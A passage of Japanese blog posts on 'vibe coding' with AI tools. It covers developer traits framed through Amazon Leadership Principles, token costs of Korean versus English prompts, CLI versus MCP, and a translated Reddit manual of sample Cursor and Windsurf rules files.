• 試したさまざまなプロンプトを文書化して知識を体系化する。

おわりに

プロンプトエンジニアリングは、LLMの性能を最大限に引き出すために反復的かつ体系的なアプローチが必要な分野です。適切な設定とさまざまな手法を活用すれば、LLMの潜在能力を最大限に引き出すことができます。本稿は、常にスケジュールに追われている開発者の方々が、少ない時間と労力でプロンプティングの手法とベストプラクティスを身につけ、効率よく望む結果を得られるよう手助けするために書きました。ただし白書全体にさまざまな示唆が詰まっているので、できれば半日ほど時間を取って原文を読んでみることをおすすめします。

TL;DR

• バイブコーディング時代においても、最高の開発者に必要な核心は好奇心、品質基準、コミュニケーションといった基礎的な力量です。
• AIが実装を担う分だけ、開発者の役割は問題定義、評価、責任ある意思決定の側へとさらに移っていきます。
• 主体性は知能よりも重要になり、Amazon Leadership Principlesのような実行重視の姿勢がAIとの協働の基準になります。

はじめに - 最高の開発者が備える特性

少し前、GeekNewsで、オープンソースメンテナーでありRustコンサルタントでもあるマティアス・エンドラー（Matthias Endler）のブログ記事——「The Best Programmers I Know（私が知る最高のプログラマーたちに共通する特性）」——を見つけました。彼はその記事で、自身が出会った最高の開発者たちが共通して備えている特性を次のように定義しています。

最高の開発者は好奇心が旺盛で、謙虚であり、複雑な問題を単純化できる。コミュニケーション能力に優れ、技術の深いところまで探究し、たゆまぬ学習をやめない。そして何よりも、ソフトウェアの品質と保守性に大きな価値を置く。

彼の主張におおむね同意しつつも、この文章を読んでいる間ずっと頭から離れない考えがありました。はたしてAIが主体的に問題を解決してくれるバイブコーディングの時代には、こうした優れた開発者の特性はどのように変わっていくのでしょうか。

知能より主体性

この問いへのヒントは、アンドレイ・カルパシー（Andrej Karpathy）のツイートから得られました。Karpathyは最近のツイートで、次のような興味深い主張をしています。

主体性は知能よりも重要である（Agency > Intelligence）。私は長らく知能（Intelligence）が最も重要な要素だと信じてきたが、今では主体性（Agency）のほうが知能よりも重要だと考えるようになった。知能は可能性であり潜在力にすぎないが、主体性は実際に現実を変え、結果を生み出す力である。つまり、どれほど賢く優れた潜在力があっても、実行しなければ何の意味もない。

こうした主体性は、AIとともに働く時代、すなわちバイブコーディング時代の開発者にとって最も重要な徳目として定着していくでしょう。開発者の役割が問題解決から問題定義と評価へと移っていくからです。しかし問題定義と評価であれば、すでにプロダクトマネージャー（PM）やプロダクトオーナー（PO）がその仕事をしているのではないでしょうか。開発者の介入が不要になる時期が来れば、本当に開発者は消え、PMやPOだけが残るのかもしれません。

バイブコーディング時代のAmazon Leadership Principles

私は直近の8年間、AWSでテクニカルトレーナーとして6年、開発者として2年半働いた経験があります。Amazonは会社が急速に成長するなかで、幾何級数的に増えたメンバーができるだけ同じ心構えでビジネスを遂行できるようにするため、「Amazon Leadership Principles」というものを作りました。アンドレイ・カルパシーの主体性に関するツイートを読んだとき、私が真っ先に思ったのは、主体性がAmazonのリーダーシップ原則と非常に密接につながっているということでした。

具体的に、Amazon Leadership Principlesがバイブコーディングにおいてどのように適用されるのかを見ていきましょう。

1️. Customer Obsession（顧客へのこだわり）

• 顧客の問題をAIに正確に伝え、顧客中心の問題定義と優先順位付けができなければなりません。
• AIが顧客のニーズを取りこぼさないよう、明確できめ細かな文脈を提供します。

2️. Ownership（オーナーシップ）

• AIが生成した成果物の責任を最終的に人間が負うという点で、成果物に対するオーナーシップはいっそう重要になります。
• 結果を単にAIの責任とせず自分のものとして受け止め、最後まで改善しようと努めます。

3️. Invent and Simplify（創造と単純化）

• AIを活用して既存の複雑な手順を大胆に単純化し、より効果的な問題解決の方法を発明する役割を担います。
• AIが生み出したソリューションを人間の視点で評価・改善することで、継続的なイノベーションを可能にします。

4️. Learn and Be Curious（学び、そして好奇心を持つ）

• AI技術の進化を継続的に学び、好奇心を持って活用法を探索します。
• 新しいフレームワークや手法を素早く習得し、AIとより効果的に協働できるよう自分を成長させます。

5️. Hire and Develop the Best（最高の人材を確保し、育成する）

• 優れた技術的リーダーシップを備えた人材を発掘し育成する役割は、依然として非常に重要です。
• チームメンバーの技術力を伸ばし、AIを効果的に活用する方法を教育することに貢献します。

6️. Insist on the Highest Standards（最高水準の基準を求める）

• AIの成果物を盲目的に信頼せず、高い基準で品質を評価し改善できなければなりません。
• 品質、セキュリティ、倫理などあらゆる領域で妥協しない基準を維持します。

7️. Think Big（大胆に考える）

• AI技術を活用して技術的な実装はAIに任せ、人はより大胆で革新的な目標とビジョンを設定し実行していくことに集中します。
• AIが既存の思考の制約を超えられるよう大きな絵を示し、より大きな可能性を探索します。

8️. Bias for Action（迅速な行動）

• AI技術を活用して素早く実験しフィードバックを得て、改善を繰り返します。
• 悩むだけで終わらせず、行動中心の素早い反復と検証によってスピードを高めます。

9️. Frugality（倹約）

• AIの活用においてもコストとリソースの効率を重視し、無駄のないシステムを設計します。
• 最小限のリソースで最大の成果を得られるよう、効率的なアプローチを継続します。

10. Earn Trust（信頼の構築）

• AIの結果を透明に共有し、信頼される方法でコミュニケーションします。
• 結果への信頼性を高めるため、AIの意思決定を解釈可能な形で提示します。

11. Dive Deep（深く掘り下げる）

• AIの結果が表面的にはよく見えても、それを信頼する前に根本原理を理解し綿密に分析します。
• 問題の本質を捉えるために最後まで探究する姿勢を持ちます。

12. Have Backbone; Disagree and Commit（信念を持ち、異議を唱え、決定には全力で取り組む）

• AIの成果物に盲目的に同意せず、自分の見解を明確に表明します。
• 意見が衝突しても、決定を下した後はAIの結果に責任を持って協力し、最善の結果をつくります。

13. Deliver Results（成果を出す）

• 最終的にAIを活用して、実際のビジネスやユーザー体験の面で意味のある成果を生み出します。
• 技術的な優秀さを超えて、具体的で価値のある成果を提供することに集中します。

なかでも「Customer Obsession」と「Ownership」こそが、Karpathyの強調した行動力の核心です。AIは問題をうまく解決できますが、その問題を明確に定義し正しい方向へ導くことは依然として人間の役目です。顧客の要求を深く理解し、解決策に対する確かな責任感を持って問題解決を主体的に導かなければなりません。結局、バイブコーディング時代の優れた開発者とは、技術的な潜在力を超えて、明確な主体性と強い責任感を持った人でしょう。

始まったばかりのバイブコーディング時代において、開発者はAIを単に活用することを超えて、AIとともに主体的に問題を定義し成果物に責任を持つ役割を担うことになるでしょう。すなわち、行動する開発者、問題を正確に見つめ自分のものとして認識し、粘り強く解決策を探っていく開発者が、バイブコーディング時代において最も価値のある人材として浮上することになるはずです。

バイブコーディング（Vibe Coding）、つまりGPTのような大規模言語モデル（LLM）を使って開発する方式について、よく聞かれる質問が一つあります。「このモデルと韓国語で対話するときと英語で対話するときとで、作業の品質に違いはあるのか？」という点です。結論から言えば、私の経験からも、LLMの動作原理から見ても、言語そのものによって作業の質が変わることはありません。

TL;DR

• 韓国語と英語のどちらがより良い結果を出すかよりも重要なのは、トークン効率です。
• 韓国語は同じ内容を伝えるのにより多くのトークンを使うことがあり、コスト、速度、そして渡せるコンテキストの量に影響を与えかねません。
• 大規模プロジェクトやルールファイルのように繰り返し入力されるドキュメントは、英語で簡潔に管理する戦略を検討する価値があります。

まず原理を簡単に見ておきましょう。LLMは入力されたテキストをトークン（token）という単位に分割し、それらのトークンをもとに次の内容を予測しながら作業を実行します。英語は一般に単語または単語の一部が一つのトークンに分割されますが、韓国語は音節や形態素の単位でより細かく分割されます。

たとえば「Hello」は通常1つのトークンが使われますが、「안녕하세요」はLLMサービスの内部動作によって差はあるものの、「안」「녕」「하세요」のように複数のトークンに分割される可能性が高いのです。

とはいえ、これが作業の品質に影響を与えるとは考えにくいでしょう。結局のところLLMは、入力された内容を理解し文脈を把握する過程で、言語の違いをかなりうまく乗り越えるからです。

しかし、注目すべき点は別にあります。それがトークン使用量です。英語は比較的簡潔にトークンが消費される一方、韓国語は同じ内容を伝えるのにもより多くのトークンを必要とします。これは単なるコストの問題にとどまらず、プロンプトの処理速度や、渡せるコンテキスト全体の大きさにも影響します。

特にバイブコーディング環境で使う.cursorrules（Cursor）、.windsurfrules（Windsurf）、CLAUDE.md（Claude Code）のようなルールファイルは、モデルとやり取りするたびに繰り返し入力されるため、これらのルールを最適化することが非常に重要になります。言語を選ぶという問題は、ここで実質的な意味を持ちます。ルールやドキュメントをより簡潔な言語で整理すれば、不要なトークン消費を減らし、より多くのコンテキストを渡せるようになります。

ほとんどの開発作業では、実のところ韓国語で進めたからといって大きな問題が生じることはありません。しかし大規模プロジェクトや複雑なコンテキストを扱わなければならない場合であれば、英語の使用を一度検討してみるのも良いアプローチになりえます。トークン使用を最小化しながら、より速く効率的なバイブコーディング環境を構築できるからです。

結局、韓国語と英語のどちらがより「うまく」動作するのかという問いの本質は、作業の品質ではなく効率性の問題として捉えるべきです。コストと速度、効率的なコンテキスト管理が必要な状況であれば、英語でプロンプトとルールを書く戦略が賢明な選択となるでしょう。

最近の開発者コミュニティを眺めていると、MCP、すなわち「モデルコンテキストプロトコル（Model Context Protocol）」の話題が頻繁に目に入ります。AIがより賢く、より柔軟に仕事をこなすためにはMCPのようなインターフェースが必要だ、という主張です。私自身もこうした技術の流れを興味深く見守っています。未来が楽しみでもあり、その一方で「MCPは今の時点で本当に必要なのだろうか」という疑問も湧いてきます。

MCPの利点は明確です。AIが複数のサービスと連携する際、このプロトコルを介してより滑らかで自然な処理ができます。しかし現実はそれほど単純ではありません。現時点でMCPに対応していないサービスは依然として多く、MCPをきちんと使うには専用のサーバーインフラが不可欠です。インフラを整えれば終わりというわけでもなく、そこに徹底したセキュリティ管理と高可用性を保証する運用対策まで必要になります。ここまで来ると、MCPを導入するために要する労力とコストが決して小さくないことが分かります。

では、バイブコーディングにおいてはどうでしょうか。MCPがなければAIを効果的に使えないのでしょうか。まったくそんなことはありません。驚くべきことに、私たちはずっと以前から、AIが非常にうまく扱える極めて普遍的な道具を一つ持っています。それがCLI、「コマンドラインインターフェース（Command Line Interface）」です。

TL;DR

• MCPはAIと外部サービスの連携には有用ですが、今すぐバイブコーディングに必須というわけではありません。
• CLIは長く検証されてきた汎用インターフェースであり、AIにGit、クラウド、IaC、データベースの作業を行わせる実用的な通り道になります。
• MCPのエコシステムとセキュリティ運用がさらに成熟するまでは、使い慣れたCLIを積極的に活用することが現実的な選択です。

CLIは古いというよりも、長い歴史を通じて検証されてきた汎用的なインターフェースです。開発者なら誰もが慣れ親しんで使っており、標準入力と標準出力を用いてパイプラインを構成すれば複雑な処理も可能です。シェルスクリプトさえきちんと書いておけば、必要なときにAIの助けなしでいつでも実行できます。

私はバイブコーディングをする中で、CLIを介してAIに任せる作業がかなり多くあります。たとえば、GitHubリポジトリを作成したり、イシューやプロジェクトを管理したり、ウィキを文書化する作業はCLIで簡単に処理できます。Gitのコミットメッセージ生成、コミット、プッシュ、マージといった基本的な作業も、AIはCLIを通じて巧みにこなします。

それだけでなく、クラウドインフラの状態点検やデプロイ結果の確認、障害発生時のトラブルシューティングまでCLIで手軽に処理できます。TerraformやCloudFormationといった各種IaCツールを用いたデプロイやデバッグ作業もCLIで完璧に可能です。データベースのスキーマ分析や作成をはじめとする複雑な作業も、CLIツールで十分に実行できます。

今はMCP導入の初期であり、過渡期です。今後さらに多くのサービスがMCPを採用することは確実ですが、まだサービスのエコシステムは成熟していません。何よりも、MCPに対する確かなセキュリティポリシーと管理方針が出てくるまでには時間が必要です。

それまで待つ必要があるでしょうか。もちろんありません。今すぐAIを最大限効果的に活用する方法があるとすれば、それはすでに私たちの手に馴染んでいるCLIを積極的に活用することです。「バイブコーディング」をしながらAIとCLIの素晴らしい組み合わせを体験すれば、あえてMCPでなくとも、いくらでも生産的で創造的な成果物を生み出せることが分かるはずです。

AIサービスを提供するため、あるいはAIが使うためのインターフェースとしてMCPが有用だという事実に異論はありません。しかしバイブコーディングにおいては、私たちはすでにCLIを使って、AIに既存のインターフェースを活用させることがいくらでもできるのです。

私は86年、Apple II——正確には、AppleのOEM物量を横流しして裏市場で流通させた「清渓川（チョンゲチョン）2号」でプログラミングに入門しました。95年から職業プログラマーとして働いてきたので、いつの間にか30年近くコーディングを続けてきたことになります。長い間、ソフトウェア開発にまつわる数え切れないトレンドの変化を経験してきましたが、バイブコーディングの登場ほど衝撃的な変化はありませんでした。昨年12月からは、バイブコーディングで実際のプロダクション開発を行っています。最近SNSを見ていると、このバイブコーディングに対する懸念と期待が入り混じっているように見えます。私の経験をもとに、この新しい現象について話してみたいと思います。

TL;DR

• バイブコーディングは単なるAI補助のコーディングではなく、人が問題を定義しAIが解決を主導する開発方式に近いものです。
• ソフトウェアの知識、問題の分解、テスト、アーキテクチャといった既存のエンジニアリング能力は、依然として重要です。
• 一時的な流行というより今後も発展し続ける流れであり、企業と開発者にはこれを理解して活用する姿勢が求められます。

第一に、バイブコーディングとはAIで開発することを指すのでしょうか？ 当たっているとも、外れているとも言えます。数年前から開発者はすでにGitHub CopilotやChatGPTのようなAIを使ってきました。ただ、従来の方式が人主導の問題解決だったのに対し、バイブコーディングは人が問題を定義し、AIが解決までを担う方式です。自動車にたとえるなら、これまでの開発はマニュアルからオートマへ、そしてナビゲーションまで来た状態です。バイブコーディングは、目的地さえ告げれば連れて行ってくれる自動運転にもっと近いものです。

第二に、バイブコーディングは本当にソフトウェアの知識がなくても可能なのでしょうか？ これもまた、そうでもあり、そうでもありません。AIはアルゴリズム問題のような比較的狭い範囲の問題を解くのに非常に効果的です。しかし一定規模を超えるプロジェクトでバイブコーディングがうまく機能するには、明確な問題定義と適切なコンテキスト境界の維持が不可欠です。現在のAIツールは、過度に複雑なコンテキストを扱うのが苦手です。したがって問題を適切に細かく分割する能力、すなわちソフトウェアエンジニアリングに対する基本的な理解は依然として必要です。この状態がどれだけ続くかはわかりません。LLMとバイブコーディングのツールが急速に発展しているからです。確実に言えるのは、現時点のバイブコーディングは、少なくとも大半の問題解決において、関数の単位を超えてマイクロサービス規模のコンテキストを処理することに何の問題もない、ということです。

第三に、バイブコーディングは過ぎ去る流行でしょうか？ いいえ。すでにインターネットやスマートフォンのように世に出ており、私を含めバイブコーディングで開発をしている開発者は実際に大勢います。バイブコーディングの有用性はすでに検証されたものであり、流行のように消えることなく継続的に改善されていくでしょう。バイブコーディングを支える中核技術であるAIの性能も急速に発展しています。いまは難しいと感じる問題も、じきに解決されるはずです。今後バイブコーディングは、ソフトウェアだけでなくAIを用いて現実のさまざまな問題を解決する重要な道具として定着していくでしょう。もちろん悪用しようとする者も出てくるでしょうから、それに対する備えは必要です。

第四に、バイブコーディングは大規模開発には使えないのでしょうか？ いいえ。現在はAIの性能上の限界がありますが、十分に解決可能な問題です。AIがうまく処理できる大きさに開発を分割すればよいのです。プロンプトエンジニアリングでAIが考慮すべきコンテキストを制限したり、いっそマイクロサービスへ移行したりするのも良い方法です。十分に可能であり、効果的です。重要なのは、一定規模を超えるプロジェクトでバイブコーディングを使うには、それなりの方法論とプロセスが必要だということです。

第五に、バイブコーディングはバグが多い？ そのとおりです。しかし人が書いたコードも同じです。人であれAIであれ、規模が大きくなればバグは増えます。肝心なのは、バイブコーディングがうまく動く実装規模を保てるよう、細かく分割しながら開発を進めていくことです。SOLID原則の「O」にあたる、修正には閉じており拡張には開いている構造が、ここで真価を発揮します。また一方で、バイブコーディングにおいてもTDD（テスト駆動開発）は非常に有用です。ただし人のTDDがテストを先に書いてから実行コードを書くのに対し、AIはほぼ同時にテストと実行コードを作ります。こうして書かれたテストコードは、その後の変更に対する頼もしい防護壁になってくれます。

第六に、バイブコーディングはまったく新しい開発方式なのでしょうか？ まだそうではありません。自動運転が登場しても自動車にハンドルが残っているように、バイブコーディングも既存のソフトウェア開発の優れたベストプラクティスを受け継いでいます。テストコード、SOLID原則、クリーンアーキテクチャ、DDD、CI/CD、静的コード解析といった既存のベストプラクティスは、バイブコーディングでもそのまま通用します。むしろAIがこれらの原則をより徹底して守れるようにしてくれるため、ベストプラクティスがもたらす利点を最大化できます。ただし遠からず、完全な自動運転車からハンドルが消えるように、バイブコーディングもコードそのものを見せない、あるいは隠しても問題のない水準へと発展していくと私は見ています。さらには、AIのためのプログラミング言語やフレームワークが登場する可能性すらあります。

最後に、バイブコーディングは大企業では使えないのでしょうか？ バイブコーディングの普及は、クラウドコンピューティングの導入と似た様相を見せると予想しています。大企業の立場からすると、バイブコーディングを素早く導入するのは容易ではないでしょう。しかし時間が経つにつれ、コンプライアンスのような問題はクラウド事業者が解決策を提供してくれるはずです。技術に対するインサイトを持つ企業は可能性を確かめ、導入を急ぐでしょう。大企業に比べて身軽なスタートアップは、すでに速いスピードでバイブコーディングを導入しています。とはいえ、ビジネスの問題を定義し解決することは、依然として人の役割です。

まとめると、バイブコーディングは一時的な流行ではありません。まだ足りない部分はあるものの、非常に強力な可能性を秘めており、絶えず進化しています。重要なのは、これを理解し正しく活用できる私たちの姿勢です。

この記事は、redditに投稿されたVibe Codingマニュアルを翻訳したものです。

TL;DR

• Vibe Codingは、仕様・ルール・監督を組み合わせてAIとともにプロジェクトを作り上げる開発手法です。
• ルールファイルには、コーディングスタイル、技術スタック、ワークフロー、コミュニケーションの期待値を明確に分けて書くことが肝心です。
• 小さなスクリプトから大規模アプリまで適用できますが、AIのスコープ拡大とコンテキスト喪失を継続的に管理する必要があります。

はじめに：Vibe CodingとAIの核心概念

Vibe Codingとは何であり、何に基づいているのか

Vibe Codingとは、人間がAIモデル（例：Claude 3.7、GPT-4o）を活用して機能的なプロジェクトを効率的に構築する、協働型のソフトウェア開発手法です。Matthew Bermanが自身のYouTubeチャンネルで公開した「Vibe Codingチュートリアルおよびベストプラクティス」で紹介されたこの概念は、3つの核心的な柱に基づいています。

1. 仕様（Specification）：目標を定義します（例：「ログイン機能付きのTwitterクローンを構築する」）。
2. ルール（Rules）：明示的な制約条件を設定します（例：「Pythonを使う、複雑さを避ける」）。
3. 監督（Oversight）：プロセスを監視・調整し、一貫性を保証します。

このマニュアルは、Bermanの土台の上に、YouTubeのコメント（u/nufh、u/robistoccoなど）とRedditのスレッド（u/illusionst、u/DonkeyBonkedなど）から得たコミュニティの知見を統合し、あらゆるレベルの開発者に向けた包括的なフレームワークを提供します。

このフレームワークが有用な理由

AIモデルは強力ですが、過剰なエンジニアリング、スコープ拡大、コンテキスト喪失といった混乱に陥りやすいものです。このマニュアルは次の問題を解決します。

• 混沌の制御：ルールへの厳格な遵守を強制し、逸脱した振る舞いを最小化します。
• 時間の節約：構造化されたステップと要約により、手戻りを減らします。
• 明確さの提供：技術者でない利用者でも容易に追随でき、プログラマーは精密な制御を得られます。

主な利点

1. 明確さ：ルールがモジュール式に構成されており、参照や調整が容易です。
2. 制御：利用者がAIの作業の速度と範囲を直接指示します。
3. 拡張性：小さなスクリプト（例：電卓）から大規模アプリ（例：Webプラットフォーム）まで適用できます。
4. 保守性：文書化と追跡により、長期的なプロジェクトの存続性を保証します。

マニュアルの構成：どのように組み立てられているか

このフレームワークは、.cursor/rulesディレクトリ（または.windsurfrules）に置く、それぞれ固有の目的を持つ4つのファイル（またはセクション）で構成されます。

1. コーディング選好 – コードのスタイルおよび品質基準を定義します。
2. 技術スタック – ツールおよび技術を明示します。
3. ワークフロー選好 – AIのプロセスと実行を管理します。
4. コミュニケーション選好 – AIと人間のやり取りに対する期待値を設定します。

取り組みやすさのために基本事項から始め、技術的な深さのために高度な詳細へと進んでいきます。

基本ルール：シンプルな出発点

1. コーディング選好 – 「このようにコードを書いてください」

目的：クリーンで保守可能かつ効率的なコードを保証します。

ルール：

• 単純性：「複雑さよりも常に最も単純な解決策を優先してください。」（Matthew Berman）
• 重複禁止：「コードの繰り返しを避け、可能な場合は既存の機能を再利用してください。」（Matthew Berman、DRYはu/DonkeyBonkedより）
• 整理：「ファイルは簡潔に保ち、200〜300行以内に収め、必要に応じてリファクタリングしてください。」（Matthew Berman）
• 文書化：「主要コンポーネントの開発後には、/docs/[component].md（例：login.md）に簡潔な要約を書いてください。」（u/believablybad）

なぜ効果的か：単純なコードはバグを減らし、文書化は読みやすい監査証跡を提供します。

2. 技術スタック – 「このようなツールを使ってください」

目的：AIを利用者の好む技術に限定します。

ルール（Bermanの例）：

• 「バックエンドはPythonで書くこと。」
• 「フロントエンドはHTMLとJavaScriptで書くこと。」
• 「データはJSONファイルではなくSQLデータベースに保存すること。」
• 「テストはPythonで書くこと。」

なぜ効果的か：一貫性を保ち、AIがプロジェクトの途中でツールを切り替えるのを防ぎます。

3. ワークフロー選好 – 「このように作業してください」

目的：予測可能性のためにAIの実行プロセスを制御します。

• 集中：「私が指定したコードだけを修正し、それ以外には一切手を触れないでください。」（Matthew Berman）
• 段階：「大きな作業を段階に分け、各段階のあとに私の承認を待ってください。」（u/xmontc）
• 計画：「大きな変更の前にはplan.mdを作成し、私の確認を待ってください。」（u/RKKMotorsports）
• 追跡：「完了した作業はprogress.mdに、次のステップはTODO.txtに記録してください。」（u/illusionst、u/petrhlavacek）

なぜ効果的か：漸進的な段階とログにより、プロセスを透明で管理可能な状態に保ちます。

4. コミュニケーション選好 – 「このように対話してください」

目的：AIから明確で実行可能なフィードバックを得られるようにします。

• 要約：「各コンポーネントの完了後には、完了した内容を要約してください。」（u/illusionst）
• 変更規模：「変更を小（Small）、中（Medium）、大（Large）の規模に分類してください。」（u/illusionst）
• 明確化：「私の依頼が不明瞭であれば、進める前に質問してください。」（u/illusionst）

なぜ効果的か：AIの意図を読み解く必要なく、明確な情報を受け取れます。

高度なルール：複雑なプロジェクトへの拡張

1. コーディング選好 – 品質の向上

拡張：

• 原則：「適用可能な場合はSOLID原則（例：単一責任、依存性逆転）に従ってください。」（u/Yodukay、u/philip_laureano）
• ガードレール：「開発環境や本番環境ではモックデータを使わないでください——テストに限定してください。」（Matthew Berman）
• コンテキスト確認：「コンテキストが保持されていることを確認するため、すべての応答をランダムな絵文字（例：🐙）で始めてください。」（u/evia89）
• 効率：「明確さを犠牲にせずにトークン使用量を最小化するよう、出力を最適化してください。」（u/Puzzleheaded-Age-660）

技術的な洞察：SOLIDはモジュール性を保証します（例：ログインモジュールがツイートの処理を担当しない）。絵文字は、コンテキストがモデルの限界（一般にClaude 3.7の場合は200kトークン）を超えたときにシグナルを送ります。

2. 技術スタック – カスタマイズ

拡張：

• 「追加のツールを指定する場合（例：検索用のElasticsearch）は、ここに含めてください。」（Matthew Berman）
• 「私の明示的な承認なしにスタックを変更することは絶対にしないでください。」（Matthew Berman）

技術的な洞察：スタックを固定しておくことで、AIが互換性のない依存関係（例：SQLからJSONへの切り替え）を持ち込むのを防げます。

3. ワークフロー選好 – プロセスの習熟

拡張：

• テスティング：「主要機能に対する包括的なテストを含め、エッジケースのテスト（例：不正な入力）を提案してください。」（u/illusionst）
• コンテキスト管理：「コンテキストが100kトークンを超えたら、context-summary.mdに要約してセッションを再起動してください。」（u/Minimum_Art_2263、u/orbit99za）
• 適応性：「私のフィードバックに応じてチェックポイントの頻度を調整してください（粒度を細かくしたり粗くしたり）。」（u/illusionst）

技術的な洞察：トークン限界（例：Claudeの200k）は、100kを超えると性能が低下します。要約は連続性を保つのに役立ち、テストは回帰の問題を早期に検知します。

4. コミュニケーション選好 – 精密なやり取り

拡張：

• 計画：「大（Large）規模の変更の場合は、実装計画を提示して承認を待ってください。」（u/illusionst）
• 追跡：「完了した作業と保留中の作業を常に明確に示してください。」（u/illusionst）
• 感情的なシグナル：「私が緊急性を示したら（例：「これは重要です——ミスをしないでください！」）、慎重さと精密さを優先してください。」（u/dhamaniasad、u/capecoderrr）

技術的な洞察：変更の分類（S/M/L）は影響を定量化します（例：Small＝50行未満、Large＝アーキテクチャの変更）。感情的なシグナルは、AIが学習データのパターンを活用してより良い遵守を引き出す可能性があります。

実践的な例：どのように動くのか

作業：「保存機能付きのメモ作成アプリを構築してください。」

1. 仕様：利用者が言います。「メモを書いて保存できるアプリが必要です。」

2. AIの応答： 「🦋 理解しました。計画：1. バックエンド（Python、SQLストレージ）、2. フロントエンド（HTML/JS）、3. 保存機能。進めてよろしいですか？」

3. 利用者：「はい。」

4. 実行： バックエンドの後：「🐳 バックエンド完了（中規模の変更）。メモがSQLに保存されます。progress.mdとTODO.txtを更新しました。次はフロントエンドでしょうか？」 フロントエンドの後：「🌟 フロントエンド完了。使い方を記したdocs/notes.mdを追加しました。完了です！」

5. 結果：参照用のログ（progress.md、/docs）を備えた、動作するアプリ。

技術的な注記：各段階は個別にテスト可能であり（例：SQLの挿入が動作する）、コンテキストは要約を通じて保存されます。

応用のヒント：フレームワークを最大限に活かす

なぜ4つのファイルなのか

• モジュール性：各ファイルが関心事（スタイル、ツール、プロセス、コミュニケーション）を分離し、更新を容易にします。（Matthew Berman）
• 拡張性：他のファイルに影響を与えずに1つのファイルだけを調整できます（例：技術スタックに触れずにコミュニケーションの仕方を調整する）。（u/illusionst）

カスタマイズの選択肢

• 初心者：単純さのために高度なルール（例：SOLID）を省きます。
• チーム：team-collaboration.mdcを追加します。「team-standards.mdのチームルールに合わせ、同僚のために要約してください。」（u/deleatanda5910）
• 大規模プロジェクト：チェックポイントと文書化の頻度を増やします。

感情的プロンプティング

• 試してみてください。「このプロジェクトは重要です——集中してください！」逸話的な証拠は注意力の向上を示唆しており、これは学習データの偏りに由来する可能性があります。（u/capecoderrr、u/dhamaniasad）

クレジットと謝辞

このフレームワークは、次の貢献者たちのおかげで成り立っています。

• Andrej Karpathy：「vibe coding」という用語を生み出し、Xに投稿した記事（2025年2月3日）でより広いコミュニティに紹介しました。直感的で最小限の労力で進めるワークフローに焦点を当てた、AI支援プログラミングを説明しました。彼の仕事がこのフレームワークの基礎概念に着想を与えました。

• Matthew Berman：中核となるvibe codingのルールと哲学（YouTube、2025年）。

• YouTubeコミュニティ：

  • u/nufh、u/believablybad（文書化、.mdファイル）。
  • u/robistocco（反復的なワークフロー）。
  • u/xmontc（チェックポイント）。

• Redditコミュニティ：

  • u/illusionst（コミュニケーション、進捗追跡）。
  • u/Puzzleheaded-Age-660（トークン最適化）。
  • u/DonkeyBonked、u/philip_laureano（KISS、DRY、YAGNI、SOLID）。
  • u/evia89（絵文字によるコンテキスト確認）。
  • u/dhamaniasad、u/capecoderrr（感情的プロンプティング）。

• Grok（xAI）：u/Low_Target2606の依頼により、すべての知見を1つの一貫したフレームワークへ統合し、このマニュアルを合成しました。

結論：Vibe Codingへのガイド

このマニュアルは、開発でAIを活用するための実戦テストを経たテンプレートです。単純さ、制御、拡張性のバランスを取っており、個人のコーダー、チーム、あるいは技術者でない制作者にとって理想的です。そのまま使うもよし、必要に応じて調整するもよし、そして結果を共有してください——どのように発展していくのか見てみたいのです！Redditにフィードバックを投稿して、一緒に改善していきましょう。よいコーディングを！

付録：Windsurf向けのglobal rulesとworkspace rulesの例

Global rules

1️⃣ 実装作業の原則

• SOLID原則を使って実装してください。
  • 単一責任の原則（Single Responsibility Principle）
  • 開放閉鎖の原則（Open-Closed Principle）
  • リスコフの置換原則（Liskov Substitution Principle）
  • インターフェース分離の原則（Interface Segregation Principle）
  • 依存性逆転の原則（Dependency Inversion Principle）
• TDDで実装してください：テスト駆動開発の方式で、まずテストを書いてから実装してください。
• Clean Architectureを使って実装してください：責任と関心事を明確に分離して実装してください。

2️⃣ コード品質の原則

• 単純性：常に複雑な解決策よりも最も単純な解決策を優先してください。
• 重複の防止：コードの重複を避け、可能な限り既存の機能を再利用してください（DRY原則）。
• ガードレール：テスト以外では、開発環境や本番環境でモックデータを使わないでください。
• 効率：明確さを犠牲にせずにトークン使用量を最小化するよう、出力を最適化してください。

3️⃣ リファクタリング

• リファクタリングが必要な場合は、計画を説明して許可を得てから進めてください。
• コード構造の改善が目的であり、機能の変更ではありません。
• リファクタリングの後は、すべてのテストが通ることを確認してください。

4️⃣ デバッグ

• デバッグの際は、原因および解決策を説明して許可を得てから進めてください。
• エラーの解消が重要なのではなく、正しく動作することが重要です。
• 原因が不明瞭な場合は、分析のために詳細なログを追加してください。

5️⃣ 言語

• 韓国語でやり取りしてください。
• ドキュメントやコメントも韓国語で書いてください。
• 技術用語やライブラリ名などは原語のままで構いません。

6️⃣ Gitコミット

• --no-verifyは絶対に使わないでください。
• 明確で一貫したコミットメッセージを書いてください。
• コミットは適切な大きさに保ってください。

7️⃣ 文書化

• 主要コンポーネントの開発後には、/docs/[component].mdに簡潔な要約を書いてください。
• ドキュメントはコードと一緒に更新してください。
• 複雑なロジックやアルゴリズムはコメントで説明してください。

Workspace rules

1️⃣ 技術スタック - 「これらのツールを使ってください」

開発ツール

• バックエンド：Pythonを使用
• インフラ：Pulumi for TypeScript、CloudFormation
• データ保存：MySQL互換のAurora Serverless
• テスト：pytest、Jest

補足情報

• 追加のツールが明示的に要求された場合は、ここに含めることができます。
• 明示的な承認なしにスタックを変更しないでください。
• TerraformやCDKのリソースDescriptionは英語で書いてください。

2️⃣ ワークフロー選好 - 「このような方式で作業してください」

基本の進め方

• 焦点：指定されたコードだけを修正し、他の部分はそのままにしてください。
• 段階：大きな作業を段階に分け、各段階のあとは承認を待ってください。
• 計画：大きな変更の前には、設計および作業概要の文書［課題名］_design.mdと実装計画の文書［課題名］_plan.mdを作成し、確認を待ってください。
• 追跡：完了した作業はprogress.mdに記録し、次のステップはTODO.txtに記録してください。

高度なワークフロー

• テスティング：主要機能に対する包括的なテストを含め、エッジケースのテストを提案してください。
• コンテキスト管理：コンテキストが100kトークンを超えたら、context-summary.mdに要約してセッションを再起動してください。
• 適応性：フィードバックに応じてチェックポイントの頻度を調整してください（粒度を細かくしたり粗くしたり）。

3️⃣ コミュニケーション選好 - 「このように意思疎通してください」

基本の意思疎通

• 要約：各コンポーネントのあとに、完了した作業を要約してください。
• 変更規模：変更を小、中、大の規模に分類してください。
• 明確化：依頼が不明瞭であれば、進める前に質問してください。

精密な意思疎通

• 計画：大きな変更の場合は、実装計画を提示して承認を待ってください。
• 追跡：完了した作業と待機中の作業を常に明示してください。
• 感情的なシグナル：緊急性が示されたら（例：「これは重要です——集中してください！」）、慎重さと正確さを優先してください。

4️⃣ プロジェクト構造

